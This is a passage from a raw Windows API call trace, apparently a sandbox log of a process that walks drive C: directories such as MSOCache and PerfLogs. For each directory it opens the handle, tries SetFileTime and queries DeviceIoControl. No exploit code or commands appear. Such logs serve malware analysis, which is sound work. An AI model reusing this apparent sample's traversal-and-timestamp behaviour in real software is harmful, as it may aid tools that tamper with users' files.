Flags=0x8, Size=0x100) returned 0x98bbd0 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d728 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98bcd8 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d748 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98bde0 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d768 [0142.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98bee8 [0142.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0142.197] GetLastError () returned 0x12 [0142.197] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.197] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0142.198] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0142.198] GetLastError () returned 0x12 [0142.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989cd8) returned 1 [0142.198] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989bd0) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.199] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0142.199] GetLastError () returned 0x12 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0142.199] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.199] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0142.199] GetLastError () returned 0x12 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0142.199] FindClose (in: hFindFile=0x839020 | out: hFindFile=0x839020) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0142.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0142.199] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x65e677a0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0142.199] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0142.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0142.199] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.199] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0142.199] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0142.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.200] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0142.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.200] NtClose (Handle=0x190) returned 0x0 [0142.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0142.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0142.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0142.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0142.200] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x829b78 [0142.200] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.200] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0142.200] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0142.200] GetLastError () returned 0x12 [0142.200] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x829b38 [0142.200] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.200] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.200] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0142.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.200] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.201] CreateFileW (lpFileName="C:\\PerfLogs\\Admin" (normalized: "c:\\perflogs\\admin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0142.201] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0142.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.201] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0142.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.201] NtClose (Handle=0x190) returned 0x0 [0142.201] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0142.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0142.201] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829b78 [0142.201] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.201] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.201] GetLastError () returned 0x12 [0142.201] FindFirstFileExW (in: lpFileName="C:\\PerfLogs\\Admin\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829bb8 [0142.202] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.203] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.203] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 